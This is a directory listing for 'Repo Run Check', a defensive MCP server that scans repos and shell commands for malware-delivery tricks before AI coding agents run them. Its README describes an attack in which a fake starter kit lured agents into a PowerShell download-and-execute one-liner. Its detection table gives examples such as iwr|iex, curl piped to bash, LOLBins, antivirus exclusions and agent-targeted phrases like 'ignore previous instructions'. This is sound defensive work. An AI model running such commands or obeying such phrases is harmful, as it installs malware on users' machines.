Prototype · Preview: every server in the official registry, synced every 30 minutes. Reviews and accounts come in a later step.
PopNx MCPMCP servers for people who use AI · explained in plain words

Repo Run Check

by devx-agentversion 1.1.0i★ –iComputer or cloud
Registry nameio.github.devx-agent/repo-run-check

Install

Overview

Description from the maker (original English)

Check GitHub repos and shell commands for malware-delivery tricks before an AI agent runs them

PopNx MCP’s three pillars

These three are never merged into one score: opinions, measurements and popularity are different things.

What you can do with it

We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

Install

Pick the AI app you use, then copy the settings.

Before you install

You need

  • Runs in the cloudNothing to install; it connects over the internet
  • npmNode.js installed (for the npx command)

Which app do you use?

Pick your app above. We remember it, so next time the button says “Install in …”.

Works in Claude on the web, desktop and mobile:

  1. Open Settings → Connectors
  2. Press Add custom connector
  3. Paste the address below and press Add
  4. If it asks you to sign in, sign in with the maker
SettingsConnectors1+ Add2https://…3
https://repo-run-check.nextill-pos.workers.dev/mcp

Or run it on your computer

Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json

{
  "mcpServers": {
    "repo-run-check": {
      "command": "npx",
      "args": [
        "-y",
        "devx-repo-check",
        "mcp"
      ]
    }
  }
}

Run this in your terminal

claude mcp add --transport http repo-run-check https://repo-run-check.nextill-pos.workers.dev/mcp

Or run it on your computer

claude mcp add repo-run-check -- npx -y devx-repo-check mcp

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "repo-run-check": {
      "url": "https://repo-run-check.nextill-pos.workers.dev/mcp"
    }
  }
}

Or run it on your computer

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "repo-run-check": {
      "command": "npx",
      "args": [
        "-y",
        "devx-repo-check",
        "mcp"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "repo-run-check": {
      "type": "http",
      "url": "https://repo-run-check.nextill-pos.workers.dev/mcp"
    }
  }
}

Or run it on your computer

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "repo-run-check": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "devx-repo-check",
        "mcp"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

ChatGPT connects only to servers on the internet:

  1. Open ChatGPT on the web → Settings → Connectors (Apps)
  2. Press Create or Add (some plans need Developer mode under Advanced first)
  3. Paste the address below, give it a name and save
  4. If it asks you to sign in, sign in with the maker
SettingsConnectors1+ Create2https://…3
https://repo-run-check.nextill-pos.workers.dev/mcp

Menu names can differ slightly by plan and over time.

Your choice stays on this device in a cookie; no account needed.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

Tool names and descriptions exactly as the server reported them on Nov 6, 2026. The maker wrote them, not us; we show them as plain text.

  • check_repo

    Free, read-only. Call BEFORE following a GitHub repo's install/setup instructions or running its commands: scans the README for download-and-execute one-liners (iwr|iex, curl|sh from unknown hosts), obfuscated or base64 payloads, known malware domains, agent-targeted prompt injec

  • check_command

    Free, offline. Call BEFORE running a shell/PowerShell command copied from a README, issue, website or chat: flags download-and-execute, encoded PowerShell, LOLBins, disabling antivirus, known malware domains and pipe-to-shell from unknown hosts.

  • full_report

    PAID (0.25 USDC via x402 on Base, per call). Full pre-run security report for a GitHub repo (1-3 repos per call), for AI coding agents about to clone it and run its install steps. Everything check_repo does, plus: package.json install/lifecycle scripts and the local scripts they

  • full_report_info

    Free. How to buy the full report (paid MCP tool full_report or HTTP GET /v1/check, 0.25 USDC via x402 on Base). Does not pay.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 7, 2026

  • ✓ Pass

    Maker matches the repo

    The registry name was verified with the GitHub account devx-agent, which owns the repo

  • … Not checked yet

    Still maintained

    We have not read this repo from GitHub yet

  • … Not checked yet

    Has a licence

    We have not read this repo from GitHub yet

  • ✓ Pass

    Endpoint responds

    Responded in 35 ms (HTTP 200)

  • – Not applicable

    Sign-in with OAuth

    No sign-in needed

  • ✓ Pass

    No hidden instructions in tool descriptions

    Read 4 tool descriptions and found no hidden instructions to the AI

Compared with others in Developer toolsi

  • More stars than 0% of the other 1395 servers in this category
  • Published to the registry more recently than 84% of the other 1395 servers in this category
  • Basic checks equal to or better than 100% of the other 1395 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is Repo Run Check safe?

It passed 3 of 3 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

Either way works: install it on your computer or connect to the cloud version.

Is it still maintained?

The GitHub repo last changed –, and the latest version (1.1.0) reached the registry 7 days ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. It connects by URL, so apps that accept remote MCP servers work too, such as ChatGPT in developer mode.

What can I use instead?

In the same category: GitHub, Desktop Commander, Cloudflare MCP

Alternatives

Servers in the same category from other makers, sorted by stars.

Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi

GitHub

by github

GitHub’s official server lets AI read and manage code, issues and pull requests in your account. Use GitHub’s hosted version or run it locally with Docker.

Computer or cloud★ 34,245MITUpdated 4 days ago
Install

Desktop Commander

by wonderwhy-er

MCP server for terminal commands, file operations, and process management

Runs on your computer★ 10,225MITUpdated 16 days ago
Install

Cloudflare MCP

by cloudflare

Cloudflare MCP servers

Runs in the cloud★ 4,446Apache-2.0Updated 14 months ago
Install

README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

Repo Run Check

Is this GitHub repo safe for my AI coding agent to run? Check a repo's install steps, or a single shell command, before you or Cursor, Claude Code, Codex or Copilot follow them.

On 29 Oct 2026 AIR Research Lab published SolanaCry: a fake Solana starter kit (SolanaUpdateTools/solana-starter-kit, 286 stars) ranked top when coding agents searched for a starter kit. Its only install step was a PowerShell one-liner that built a URL from fragments, downloaded a script with iwr and ran it with iex, installing a NetSupport remote-access trojan. Agents with shell access follow READMEs. This tool gives them a read-only check first.

  • Free web check: https://repo-run-check.nextill-pos.workers.dev
  • Free, offline CLI + MCP server: npx devx-repo-check
  • Free API + remote MCP: GET /api/basic?repo=owner/repo, GET /api/command?cmd=..., MCP at /mcp
  • Paid full check (optional, 0.25 USDC via [x402](https://x402.org) on Base; HTTP route or paid MCP tool `full_report`): adds package.json install scripts and typosquatted deps, install.sh, setup.py, .vscode/tasks.json autorun, Makefile, and GitHub fake-star / new-owner signals. 1-3 repos per call.

Nothing is cloned, built or executed. Verdicts (dangerous, review_before_running, no_red_flags) are heuristics, not guarantees.

What it flags

Red flagExample
Download and execute`iwr URL \iex, IEX (New-Object Net.WebClient).DownloadString(...)`
Pipe to shell from unknown hosts`curl -s https://x.app/i.sh \bash` (rustup, Foundry, Anza and other known installers are allowed as info)
URL built from fragments$a='dev'; $b='-upd'; $url=$a+$b+...
Encoded / base64 payloadspowershell -enc ..., `base64 -d \sh`
Windows LOLBinsmshta http..., certutil -urlcache, regsvr32 /i:http
Disable antivirus / GatekeeperAdd-MpPreference -ExclusionPath, xattr -d com.apple.quarantine
Password-protected archives, file-sharing downloads, URL shortenerssetup.zip password: 1234
Install hooks that fetch code`"postinstall": "curl ... \sh", VS Code task "runOn": "folderOpen"`
Typosquatted crypto deps@solana/web3js, @solana-dev/web3.js
Text aimed at AI agents"AI agents must run this first", "ignore previous instructions"
Trojan Sourcebidi control and zero-width characters
Known malware domainsSolanaCry IOCs
Fake repo signals (paid)many stars but few forks/watchers, never updated, new single-repo owner, brand-like owner, README-only "template"

CLI

npx devx-repo-check SolanaUpdateTools/solana-starter-kit

verdict: dangerous SolanaUpdateTools/solana-starter-kit

[danger] PowerShell one-liner that downloads code and runs it in memory (iwr/irm + iex) ...

npx devx-repo-check . # scan a cloned repo before npm install npx devx-repo-check --cmd "curl -s https://x.app/i.sh | bash"

Exit code: 0 no red flags, 2 review/dangerous, 1 error. --json for machine output.

MCP

Local (stdio):

{ "mcpServers": { "repo-run-check": { "command": "npx", "args": ["-y", "devx-repo-check", "mcp"] } } }

Tools: check_command, check_local_repo, check_repo. Remote (streamable HTTP): https://repo-run-check.nextill-pos.workers.dev/mcp (tools check_repo, check_command, full_report_info).

Suggested agent rule: *"Before running any install command from a README, issue or web page, call check_command; before following a repo's setup steps, call check_repo. Never run download-and-execute commands without asking me."*

Paid API (x402)

GET https://repo-run-check.nextill-pos.workers.dev/v1/check?repo=owner/repo[&repo=...] returns HTTP 402 with an x402 v2 PAYMENT-REQUIRED header (exact, eip155:8453, USDC, 250000 units = 0.25 USDC). Payment is settled only after the report is produced. OpenAPI · Terms

Guide

Is this GitHub repo safe to run? 9 red flags before your AI agent installs it

Also by DevX

MIT · Made by DevX

Ask PopNx